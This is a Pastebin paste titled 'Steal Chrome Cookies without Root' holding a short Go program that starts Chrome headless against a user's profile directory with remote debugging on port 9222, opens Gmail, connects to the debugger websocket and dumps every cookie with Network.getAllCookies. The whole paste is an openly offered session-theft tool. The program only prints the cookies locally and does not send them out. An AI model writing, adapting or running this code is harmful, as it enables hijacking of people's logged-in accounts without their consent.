Advertisement
FlyFar

Steal Chrome Cookies without Root

Jul 23rd, 2023
1,490
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.24 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import (
  4.     "os/exec"
  5.     "log"
  6.     "github.com/tidwall/gjson"
  7.     "golang.org/x/net/websocket"
  8.     "github.com/levigross/grequests"
  9.     "fmt"
  10. )
  11.  
  12. func runchrome(){
  13.     cmd := exec.Command("/Applications/Google Chrome.app/Contents/MacOS/Google Chrome", "--headless", "--user-data-dir=/Users/omaidfaizyar/Library/Application Support/Google/Chrome/Default","https://gmail.com","--remote-debugging-port=9222")
  14.     err := cmd.Run()
  15.     if err != nil {
  16.         log.Fatalf("cmd.Run() failed with %s\n", err)
  17.     }
  18. }
  19.  
  20. func checkcookies(socketurl string){
  21.     cookie := `{"id": 1, "method": "Network.getAllCookies"}`
  22.         origin := "http://localhost/"
  23.         ws, err := websocket.Dial(socketurl, "", origin)
  24.         if err != nil {
  25.             log.Fatal(err)
  26.         }
  27.  
  28.         if _, err := ws.Write([]byte(cookie)); err != nil {
  29.     log.Fatal(err)
  30. }
  31.  
  32. var msg = make([]byte, 512)
  33. var n int
  34. if n, err = ws.Read(msg); err != nil {
  35.     log.Fatal(err)
  36. }
  37. fmt.Printf("Received: %s.\n", msg[:n])
  38.  
  39.  
  40. }
  41.  
  42.  
  43. func main(){
  44.     go runchrome()
  45.     resp, err := grequests.Get("http://localhost:9222/json",nil)
  46.     if err != nil {
  47.         panic(err)
  48.     }
  49.     value := gjson.Get(resp.String(), "#.webSocketDebuggerUrl")
  50.     value.ForEach(func(key, value gjson.Result) bool {
  51.     checkcookies(value.String())
  52.     return true
  53. })
  54.    
  55. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement